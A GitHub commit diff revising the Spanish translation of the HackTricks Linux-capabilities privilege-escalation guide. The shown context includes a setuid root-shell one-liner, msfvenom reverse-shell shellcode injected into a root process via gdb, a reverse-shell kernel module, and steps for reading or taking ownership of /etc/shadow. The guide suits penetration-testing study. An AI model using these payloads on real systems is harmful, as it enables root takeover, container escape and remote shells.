mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['linux-hardening/privilege-escalation/linux-capabilities.md'
This commit is contained in:
Translator
parent
a0866e7b9e
commit
8642308ee8
1 changed files with 63 additions and 61 deletions
|
|
@ -1,16 +1,16 @@
|
|||
# Capacidades de Linux
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
@ -18,7 +18,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.\\
|
||||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.\\
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
|
@ -38,23 +38,23 @@ Las capacidades de Linux dividen **los privilegios de root en unidades más pequ
|
|||
|
||||
2. **Efectivas (CapEff)**:
|
||||
- **Propósito**: Representa las capacidades reales que un proceso está utilizando en cualquier momento.
|
||||
- **Funcionalidad**: Es el conjunto de capacidades que el kernel verifica para otorgar permiso para varias operaciones. Para los archivos, este conjunto puede ser una bandera que indica si las capacidades permitidas del archivo deben considerarse efectivas.
|
||||
- **Significado**: El conjunto efectivo es crucial para las verificaciones de privilegios inmediatos, actuando como el conjunto activo de capacidades que un proceso puede usar.
|
||||
- **Funcionalidad**: Es el conjunto de capacidades que el kernel verifica para otorgar permiso para varias operaciones. Para archivos, este conjunto puede ser una bandera que indica si las capacidades permitidas del archivo deben considerarse efectivas.
|
||||
- **Significado**: El conjunto efectivo es crucial para las verificaciones inmediatas de privilegios, actuando como el conjunto activo de capacidades que un proceso puede usar.
|
||||
|
||||
3. **Permitidas (CapPrm)**:
|
||||
- **Propósito**: Define el conjunto máximo de capacidades que un proceso puede poseer.
|
||||
- **Funcionalidad**: Un proceso puede elevar una capacidad del conjunto permitido a su conjunto efectivo, dándole la capacidad de usar esa capacidad. También puede eliminar capacidades de su conjunto permitido.
|
||||
- **Funcionalidad**: Un proceso puede elevar una capacidad del conjunto permitido a su conjunto efectivo, dándole la habilidad de usar esa capacidad. También puede eliminar capacidades de su conjunto permitido.
|
||||
- **Límite**: Actúa como un límite superior para las capacidades que un proceso puede tener, asegurando que un proceso no exceda su alcance de privilegios predefinido.
|
||||
|
||||
4. **Limitadas (CapBnd)**:
|
||||
- **Propósito**: Establece un techo sobre las capacidades que un proceso puede adquirir durante su ciclo de vida.
|
||||
- **Funcionalidad**: Incluso si un proceso tiene una cierta capacidad en su conjunto heredable o permitido, no puede adquirir esa capacidad a menos que también esté en el conjunto limitado.
|
||||
- **Caso de uso**: Este conjunto es particularmente útil para restringir el potencial de escalada de privilegios de un proceso, añadiendo una capa adicional de seguridad.
|
||||
- **Caso de uso**: Este conjunto es particularmente útil para restringir el potencial de escalada de privilegios de un proceso, añadiendo una capa extra de seguridad.
|
||||
|
||||
5. **Ambientales (CapAmb)**:
|
||||
- **Propósito**: Permite que ciertas capacidades se mantengan a través de una llamada al sistema `execve`, que normalmente resultaría en un reinicio completo de las capacidades del proceso.
|
||||
- **Funcionalidad**: Asegura que los programas no SUID que no tienen capacidades de archivo asociadas puedan retener ciertos privilegios.
|
||||
- **Restricciones**: Las capacidades en este conjunto están sujetas a las restricciones de los conjuntos heredables y permitidos, asegurando que no excedan los privilegios permitidos del proceso.
|
||||
- **Restricciones**: Las capacidades en este conjunto están sujetas a las limitaciones de los conjuntos heredables y permitidos, asegurando que no excedan los privilegios permitidos del proceso.
|
||||
```python
|
||||
# Code to demonstrate the interaction of different capability sets might look like this:
|
||||
# Note: This is pseudo-code for illustrative purposes only.
|
||||
|
|
@ -73,7 +73,7 @@ Para más información, consulta:
|
|||
|
||||
### Capacidades de Procesos
|
||||
|
||||
Para ver las capacidades de un proceso en particular, utiliza el archivo **status** en el directorio /proc. Como proporciona más detalles, limitaremos la información solo a la relacionada con las capacidades de Linux.\
|
||||
Para ver las capacidades de un proceso en particular, utiliza el archivo **status** en el directorio /proc. Como proporciona más detalles, limitemos la información solo a la relacionada con las capacidades de Linux.\
|
||||
Ten en cuenta que para todos los procesos en ejecución, la información de capacidades se mantiene por hilo; para los binarios en el sistema de archivos, se almacena en atributos extendidos.
|
||||
|
||||
Puedes encontrar las capacidades definidas en /usr/include/linux/capability.h
|
||||
|
|
@ -115,7 +115,7 @@ CapAmb: 0000000000000000
|
|||
capsh --decode=0000000000003000
|
||||
0x0000000000003000=cap_net_admin,cap_net_raw
|
||||
```
|
||||
Aunque eso funciona, hay otra forma más fácil. Para ver las capacidades de un proceso en ejecución, simplemente utiliza la herramienta **getpcaps** seguida de su ID de proceso (PID). También puedes proporcionar una lista de IDs de proceso.
|
||||
Aunque eso funciona, hay otra forma más fácil. Para ver las capacidades de un proceso en ejecución, simplemente usa la herramienta **getpcaps** seguida de su ID de proceso (PID). También puedes proporcionar una lista de IDs de proceso.
|
||||
```bash
|
||||
getpcaps 1234
|
||||
```
|
||||
|
|
@ -151,7 +151,7 @@ Puedes **buscar binarios con capacidades** usando:
|
|||
```bash
|
||||
getcap -r / 2>/dev/null
|
||||
```
|
||||
### Dropping capabilities with capsh
|
||||
### Eliminando capacidades con capsh
|
||||
|
||||
Si eliminamos las capacidades CAP\_NET\_RAW para _ping_, entonces la utilidad ping ya no debería funcionar.
|
||||
```bash
|
||||
|
|
@ -165,11 +165,11 @@ El error muestra claramente que el comando ping no tiene permiso para abrir un s
|
|||
|
||||
### Eliminar Capacidades
|
||||
|
||||
Puedes eliminar capacidades de un binario con
|
||||
Puedes eliminar las capacidades de un binario con
|
||||
```bash
|
||||
setcap -r </path/to/binary>
|
||||
```
|
||||
## User Capabilities
|
||||
## Capacidades de Usuario
|
||||
|
||||
Aparentemente **es posible asignar capacidades también a los usuarios**. Esto probablemente significa que cada proceso ejecutado por el usuario podrá utilizar las capacidades del usuario.\
|
||||
Basado en [esto](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [esto](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) y [esto](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user), se deben configurar algunos archivos para otorgar a un usuario ciertas capacidades, pero el que asigna las capacidades a cada usuario será `/etc/security/capability.conf`.\
|
||||
|
|
@ -293,7 +293,7 @@ capsh --print
|
|||
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Solo puedes **agregar capacidades que estén presentes** tanto en el conjunto permitido como en el conjunto heredable.
|
||||
Solo puedes **agregar capacidades que estén presentes** en ambos conjuntos, el permitido y el heredable.
|
||||
{% endhint %}
|
||||
|
||||
### Binarios conscientes de capacidades / Binarios tontos en capacidades
|
||||
|
|
@ -303,13 +303,13 @@ Los **binarios conscientes de capacidades no usarán las nuevas capacidades** ot
|
|||
## Capacidades del servicio
|
||||
|
||||
Por defecto, un **servicio que se ejecuta como root tendrá asignadas todas las capacidades**, y en algunas ocasiones esto puede ser peligroso.\
|
||||
Por lo tanto, un archivo de **configuración del servicio** permite **especificar** las **capacidades** que deseas que tenga, **y** el **usuario** que debería ejecutar el servicio para evitar ejecutar un servicio con privilegios innecesarios:
|
||||
Por lo tanto, un **archivo de configuración del servicio** permite **especificar** las **capacidades** que deseas que tenga, **y** el **usuario** que debería ejecutar el servicio para evitar ejecutar un servicio con privilegios innecesarios:
|
||||
```bash
|
||||
[Service]
|
||||
User=bob
|
||||
AmbientCapabilities=CAP_NET_BIND_SERVICE
|
||||
```
|
||||
## Capacidades en Contenedores Docker
|
||||
## Capabilities in Docker Containers
|
||||
|
||||
Por defecto, Docker asigna algunas capacidades a los contenedores. Es muy fácil verificar cuáles son estas capacidades ejecutando:
|
||||
```bash
|
||||
|
|
@ -332,7 +332,7 @@ docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained
|
|||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Privesc/Escape de Contenedor
|
||||
## Privesc/Container Escape
|
||||
|
||||
Las capacidades son útiles cuando **quieres restringir tus propios procesos después de realizar operaciones privilegiadas** (por ejemplo, después de configurar chroot y enlazar a un socket). Sin embargo, pueden ser explotadas al pasarles comandos o argumentos maliciosos que luego se ejecutan como root.
|
||||
|
||||
|
|
@ -361,7 +361,7 @@ setcap cap_setuid+ep /usr/bin/python2.7
|
|||
#Exploit
|
||||
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
|
||||
```
|
||||
**Capacidades** necesarias para que `tcpdump` **permita a cualquier usuario esnifar paquetes**:
|
||||
**Capacidades** necesarias para que `tcpdump` **permita a cualquier usuario espiar paquetes**:
|
||||
```bash
|
||||
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
|
||||
getcap /usr/sbin/tcpdump
|
||||
|
|
@ -369,7 +369,7 @@ getcap /usr/sbin/tcpdump
|
|||
```
|
||||
### El caso especial de capacidades "vacías"
|
||||
|
||||
[De la documentación](https://man7.org/linux/man-pages/man7/capabilities.7.html): Tenga en cuenta que se pueden asignar conjuntos de capacidades vacías a un archivo de programa, y así es posible crear un programa con set-user-ID-root que cambie el set-user-ID efectivo y guardado del proceso que ejecuta el programa a 0, pero no confiere ninguna capacidad a ese proceso. O, dicho de manera simple, si tienes un binario que:
|
||||
[De la documentación](https://man7.org/linux/man-pages/man7/capabilities.7.html): Tenga en cuenta que se pueden asignar conjuntos de capacidades vacíos a un archivo de programa, y así es posible crear un programa con set-user-ID-root que cambie el set-user-ID efectivo y guardado del proceso que ejecuta el programa a 0, pero no confiere capacidades a ese proceso. O, dicho de manera simple, si tienes un binario que:
|
||||
|
||||
1. no es propiedad de root
|
||||
2. no tiene bits `SUID`/`SGID` establecidos
|
||||
|
|
@ -441,7 +441,7 @@ chroot ./ bash #You have a shell inside the docker hosts disk
|
|||
* **Acceso completo**
|
||||
|
||||
En el método anterior logramos acceder al disco del host de docker.\
|
||||
En caso de que encuentres que el host está ejecutando un servidor **ssh**, podrías **crear un usuario dentro del disco del host de docker** y acceder a él a través de SSH:
|
||||
En caso de que encuentres que el host está ejecutando un **servidor ssh**, podrías **crear un usuario dentro del disco del host de docker** y acceder a él a través de SSH:
|
||||
```bash
|
||||
#Like in the example before, the first step is to mount the docker host disk
|
||||
fdisk -l
|
||||
|
|
@ -559,7 +559,7 @@ libc.ptrace(PTRACE_DETACH, pid, None, None)
|
|||
```
|
||||
/usr/bin/gdb = cap_sys_ptrace+ep
|
||||
```
|
||||
Crea un shellcode con msfvenom para inyectar en memoria a través de gdb
|
||||
Crea un shellcode con msfvenom para inyectar en memoria a través de gdb.
|
||||
```python
|
||||
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
|
||||
buf = b""
|
||||
|
|
@ -572,7 +572,7 @@ buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
|
|||
buf += b"\x0f\x05"
|
||||
|
||||
# Divisible by 8
|
||||
payload = b"\x90" * (8 - len(buf) % 8 ) + buf
|
||||
payload = b"\x90" * (-len(buf) % 8) + buf
|
||||
|
||||
# Change endianess and print gdb lines to load the shellcode in RIP directly
|
||||
for i in range(0, len(buf), 8):
|
||||
|
|
@ -585,21 +585,23 @@ print(f"set {{long}}($rip+{i}) = {chunks}")
|
|||
```
|
||||
Depurar un proceso root con gdb y copiar y pegar las líneas de gdb generadas anteriormente:
|
||||
```bash
|
||||
# Let's write the commands to a file
|
||||
echo 'set {long}($rip+0) = 0x296a909090909090
|
||||
set {long}($rip+8) = 0x5e016a5f026a9958
|
||||
set {long}($rip+16) = 0x0002b9489748050f
|
||||
set {long}($rip+24) = 0x48510b0e0a0a2923
|
||||
set {long}($rip+32) = 0x582a6a5a106ae689
|
||||
set {long}($rip+40) = 0xceff485e036a050f
|
||||
set {long}($rip+48) = 0x6af675050f58216a
|
||||
set {long}($rip+56) = 0x69622fbb4899583b
|
||||
set {long}($rip+64) = 0x8948530068732f6e
|
||||
set {long}($rip+72) = 0x050fe689485752e7
|
||||
c' > commands.gdb
|
||||
# In this case there was a sleep run by root
|
||||
## NOTE that the process you abuse will die after the shellcode
|
||||
/usr/bin/gdb -p $(pgrep sleep)
|
||||
[...]
|
||||
(gdb) set {long}($rip+0) = 0x296a909090909090
|
||||
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
|
||||
(gdb) set {long}($rip+16) = 0x0002b9489748050f
|
||||
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
|
||||
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
|
||||
(gdb) set {long}($rip+40) = 0xceff485e036a050f
|
||||
(gdb) set {long}($rip+48) = 0x6af675050f58216a
|
||||
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
|
||||
(gdb) set {long}($rip+64) = 0x8948530068732f6e
|
||||
(gdb) set {long}($rip+72) = 0x050fe689485752e7
|
||||
(gdb) c
|
||||
(gdb) source commands.gdb
|
||||
Continuing.
|
||||
process 207009 is executing new program: /usr/bin/dash
|
||||
[...]
|
||||
|
|
@ -644,7 +646,7 @@ List **processes** running in the **host** `ps -eaf`
|
|||
|
||||
## CAP\_SYS\_MODULE
|
||||
|
||||
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** empodera a un proceso para **cargar y descargar módulos del kernel (`init_module(2)`, `finit_module(2)` y `delete_module(2)` llamadas al sistema)**, ofreciendo acceso directo a las operaciones centrales del kernel. Esta capacidad presenta riesgos de seguridad críticos, ya que permite la escalada de privilegios y el compromiso total del sistema al permitir modificaciones en el kernel, eludiendo así todos los mecanismos de seguridad de Linux, incluidos los Módulos de Seguridad de Linux y el aislamiento de contenedores.
|
||||
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** empodera a un proceso para **cargar y descargar módulos del kernel (`init_module(2)`, `finit_module(2)` y `delete_module(2)` llamadas al sistema)**, ofreciendo acceso directo a las operaciones centrales del kernel. Esta capacidad presenta riesgos críticos de seguridad, ya que permite la escalada de privilegios y la total compromisión del sistema al permitir modificaciones en el kernel, eludiendo así todos los mecanismos de seguridad de Linux, incluidos los Módulos de Seguridad de Linux y el aislamiento de contenedores.
|
||||
**Esto significa que puedes** **insertar/quitar módulos del kernel en/el kernel de la máquina host.**
|
||||
|
||||
**Ejemplo con binario**
|
||||
|
|
@ -660,7 +662,7 @@ Para abusar de esto, creemos una carpeta falsa **lib/modules**:
|
|||
mkdir lib/modules -p
|
||||
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
|
||||
```
|
||||
Luego **compila el módulo del kernel que puedes encontrar 2 ejemplos a continuación y cópialo** a esta carpeta:
|
||||
Luego **compila el módulo del kernel que puedes encontrar 2 ejemplos a continuación y cópialo** en esta carpeta:
|
||||
```bash
|
||||
cp reverse-shell.ko lib/modules/$(uname -r)/
|
||||
```
|
||||
|
|
@ -787,7 +789,7 @@ Y para leer un archivo podrías hacer:
|
|||
```python
|
||||
print(open("/etc/shadow", "r").read())
|
||||
```
|
||||
**Ejemplo en el Entorno (Docker breakout)**
|
||||
**Ejemplo en el Entorno (escape de Docker)**
|
||||
|
||||
Puedes verificar las capacidades habilitadas dentro del contenedor de docker usando:
|
||||
```
|
||||
|
|
@ -804,7 +806,7 @@ groups=0(root)
|
|||
```
|
||||
Dentro de la salida anterior, puedes ver que la capacidad **DAC\_READ\_SEARCH** está habilitada. Como resultado, el contenedor puede **depurar procesos**.
|
||||
|
||||
Puedes aprender cómo funciona la siguiente explotación en [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3), pero en resumen, **CAP\_DAC\_READ\_SEARCH** no solo nos permite recorrer el sistema de archivos sin verificaciones de permisos, sino que también elimina explícitamente cualquier verificación para _**open\_by\_handle\_at(2)**_ y **podría permitir que nuestro proceso acceda a archivos sensibles abiertos por otros procesos**.
|
||||
Puedes aprender cómo funciona la siguiente explotación en [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) pero en resumen, **CAP\_DAC\_READ\_SEARCH** no solo nos permite recorrer el sistema de archivos sin verificaciones de permisos, sino que también elimina explícitamente cualquier verificación para _**open\_by\_handle\_at(2)**_ y **podría permitir que nuestro proceso acceda a archivos sensibles abiertos por otros procesos**.
|
||||
|
||||
El exploit original que abusa de estos permisos para leer archivos del host se puede encontrar aquí: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), la siguiente es una **versión modificada que te permite indicar el archivo que deseas leer como primer argumento y volcarlo en un archivo.**
|
||||
```c
|
||||
|
|
@ -968,13 +970,13 @@ El exploit necesita encontrar un puntero a algo montado en el host. El exploit o
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
|
||||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## CAP\_DAC\_OVERRIDE
|
||||
|
||||
**Esto significa que puedes eludir las comprobaciones de permisos de escritura en cualquier archivo, por lo que puedes escribir en cualquier archivo.**
|
||||
**Esto significa que puedes eludir las verificaciones de permisos de escritura en cualquier archivo, por lo que puedes escribir en cualquier archivo.**
|
||||
|
||||
Hay muchos archivos que puedes **sobrescribir para escalar privilegios,** [**puedes obtener ideas de aquí**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
|
||||
|
||||
|
|
@ -1160,7 +1162,7 @@ Para escapar del contenedor de docker, podrías **descargar** los archivos `/etc
|
|||
|
||||
**Ejemplo con binario**
|
||||
|
||||
Supongamos que el **`python`** binario tiene esta capacidad, puedes **cambiar** el **propietario** del archivo **shadow**, **cambiar la contraseña de root**, y escalar privilegios:
|
||||
Supongamos que el binario **`python`** tiene esta capacidad, puedes **cambiar** el **propietario** del archivo **shadow**, **cambiar la contraseña de root**, y escalar privilegios:
|
||||
```bash
|
||||
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
|
||||
```
|
||||
|
|
@ -1267,9 +1269,9 @@ python setcapability.py /usr/bin/python2.7
|
|||
Tenga en cuenta que si establece una nueva capacidad en el binario con CAP\_SETFCAP, perderá esta capacidad.
|
||||
{% endhint %}
|
||||
|
||||
Una vez que tenga la [capacidad SETUID](linux-capabilities.md#cap\_setuid), puede ir a su sección para ver cómo escalar privilegios.
|
||||
Una vez que tenga [la capacidad SETUID](linux-capabilities.md#cap\_setuid), puede ir a su sección para ver cómo escalar privilegios.
|
||||
|
||||
**Ejemplo con entorno (Docker breakout)**
|
||||
**Ejemplo con entorno (escape de Docker)**
|
||||
|
||||
Por defecto, la capacidad **CAP\_SETFCAP se otorga al proceso dentro del contenedor en Docker**. Puede verificar eso haciendo algo como:
|
||||
```bash
|
||||
|
|
@ -1296,13 +1298,13 @@ bash: /usr/bin/gdb: Operation not permitted
|
|||
```
|
||||
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitido: Este es un **superconjunto limitante para las capacidades efectivas** que el hilo puede asumir. También es un superconjunto limitante para las capacidades que pueden ser añadidas al conjunto heredable por un hilo que **no tiene la capacidad CAP\_SETPCAP** en su conjunto efectivo._\
|
||||
Parece que las capacidades Permitidas limitan las que se pueden usar.\
|
||||
Sin embargo, Docker también otorga el **CAP\_SETPCAP** por defecto, por lo que podrías **establecer nuevas capacidades dentro de las heredables**.\
|
||||
Sin embargo, Docker también otorga la **CAP\_SETPCAP** por defecto, por lo que podrías **establecer nuevas capacidades dentro de las heredables**.\
|
||||
Sin embargo, en la documentación de esta capacidad: _CAP\_SETPCAP : \[…] **agregar cualquier capacidad del conjunto de límites del hilo que llama** a su conjunto heredable_.\
|
||||
Parece que solo podemos agregar al conjunto heredable capacidades del conjunto de límites. Lo que significa que **no podemos poner nuevas capacidades como CAP\_SYS\_ADMIN o CAP\_SYS\_PTRACE en el conjunto heredado para escalar privilegios**.
|
||||
|
||||
## CAP\_SYS\_RAWIO
|
||||
|
||||
[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) proporciona una serie de operaciones sensibles, incluyendo acceso a `/dev/mem`, `/dev/kmem` o `/proc/kcore`, modificar `mmap_min_addr`, acceder a las llamadas al sistema `ioperm(2)` e `iopl(2)`, y varios comandos de disco. El `FIBMAP ioctl(2)` también está habilitado a través de esta capacidad, lo que ha causado problemas en el [pasado](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Según la página del manual, esto también permite al titular `realizar una variedad de operaciones específicas de dispositivos en otros dispositivos`.
|
||||
[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) proporciona una serie de operaciones sensibles, incluyendo acceso a `/dev/mem`, `/dev/kmem` o `/proc/kcore`, modificar `mmap_min_addr`, acceder a las llamadas al sistema `ioperm(2)` e `iopl(2)`, y varios comandos de disco. El `FIBMAP ioctl(2)` también está habilitado a través de esta capacidad, lo que ha causado problemas en el [pasado](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Según la página del manual, esto también permite al titular `realizar una serie de operaciones específicas de dispositivos en otros dispositivos`.
|
||||
|
||||
Esto puede ser útil para **escalada de privilegios** y **escape de Docker.**
|
||||
|
||||
|
|
@ -1375,7 +1377,7 @@ s.connect(('10.10.10.10',500))
|
|||
|
||||
[**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) la capacidad permite a los procesos **crear sockets RAW y PACKET**, lo que les permite generar y enviar paquetes de red arbitrarios. Esto puede llevar a riesgos de seguridad en entornos contenedorizados, como el spoofing de paquetes, la inyección de tráfico y el eludir los controles de acceso a la red. Los actores maliciosos podrían explotar esto para interferir con el enrutamiento de contenedores o comprometer la seguridad de la red del host, especialmente sin protecciones adecuadas de firewall. Además, **CAP_NET_RAW** es crucial para contenedores privilegiados para soportar operaciones como ping a través de solicitudes RAW ICMP.
|
||||
|
||||
**Esto significa que es posible espiar el tráfico.** No puedes escalar privilegios directamente con esta capacidad.
|
||||
**Esto significa que es posible esnifar tráfico.** No puedes escalar privilegios directamente con esta capacidad.
|
||||
|
||||
**Ejemplo con binario**
|
||||
|
||||
|
|
@ -1388,7 +1390,7 @@ Nota que si el **entorno** está otorgando esta capacidad, también podrías usa
|
|||
|
||||
**Ejemplo con binario 2**
|
||||
|
||||
El siguiente ejemplo es código **`python2`** que puede ser útil para interceptar el tráfico de la interfaz "**lo**" (**localhost**). El código es del laboratorio "_The Basics: CAP-NET\_BIND + NET\_RAW_" de [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
|
||||
El siguiente ejemplo es código **`python2`** que puede ser útil para interceptar el tráfico de la interfaz "**lo**" (**localhost**). El código es del laboratorio "_Los fundamentos: CAP-NET\_BIND + NET\_RAW_" de [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
|
||||
```python
|
||||
import socket
|
||||
import struct
|
||||
|
|
@ -1496,17 +1498,17 @@ sudo chattr -i file.txt
|
|||
|
||||
## CAP\_SYS\_BOOT
|
||||
|
||||
[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) no solo permite la ejecución de la llamada al sistema `reboot(2)` para reinicios del sistema, incluyendo comandos específicos como `LINUX_REBOOT_CMD_RESTART2` adaptados para ciertas plataformas de hardware, sino que también habilita el uso de `kexec_load(2)` y, a partir de Linux 3.17, `kexec_file_load(2)` para cargar nuevos o firmados núcleos de falla respectivamente.
|
||||
[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) no solo permite la ejecución de la llamada al sistema `reboot(2)` para reinicios del sistema, incluidos comandos específicos como `LINUX_REBOOT_CMD_RESTART2` adaptados para ciertas plataformas de hardware, sino que también habilita el uso de `kexec_load(2)` y, a partir de Linux 3.17, `kexec_file_load(2)` para cargar nuevos o firmados núcleos de falla respectivamente.
|
||||
|
||||
## CAP\_SYSLOG
|
||||
|
||||
[**CAP\_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) se separó de la más amplia **CAP_SYS_ADMIN** en Linux 2.6.37, otorgando específicamente la capacidad de usar la llamada `syslog(2)`. Esta capacidad permite la visualización de direcciones del núcleo a través de `/proc` y interfaces similares cuando la configuración `kptr_restrict` está en 1, lo que controla la exposición de direcciones del núcleo. Desde Linux 2.6.39, el valor predeterminado para `kptr_restrict` es 0, lo que significa que las direcciones del núcleo están expuestas, aunque muchas distribuciones establecen esto en 1 (ocultar direcciones excepto de uid 0) o 2 (siempre ocultar direcciones) por razones de seguridad.
|
||||
[**CAP\_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) se separó de la más amplia **CAP_SYS_ADMIN** en Linux 2.6.37, otorgando específicamente la capacidad de usar la llamada `syslog(2)`. Esta capacidad permite la visualización de direcciones del núcleo a través de `/proc` y interfaces similares cuando la configuración `kptr_restrict` está en 1, que controla la exposición de direcciones del núcleo. Desde Linux 2.6.39, el valor predeterminado para `kptr_restrict` es 0, lo que significa que las direcciones del núcleo están expuestas, aunque muchas distribuciones establecen esto en 1 (ocultar direcciones excepto de uid 0) o 2 (siempre ocultar direcciones) por razones de seguridad.
|
||||
|
||||
Además, **CAP_SYSLOG** permite acceder a la salida de `dmesg` cuando `dmesg_restrict` está configurado en 1. A pesar de estos cambios, **CAP_SYS_ADMIN** conserva la capacidad de realizar operaciones `syslog` debido a precedentes históricos.
|
||||
|
||||
## CAP\_MKNOD
|
||||
|
||||
[**CAP\_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) amplía la funcionalidad de la llamada al sistema `mknod` más allá de crear archivos regulares, FIFOs (tuberías con nombre) o sockets de dominio UNIX. Permite específicamente la creación de archivos especiales, que incluyen:
|
||||
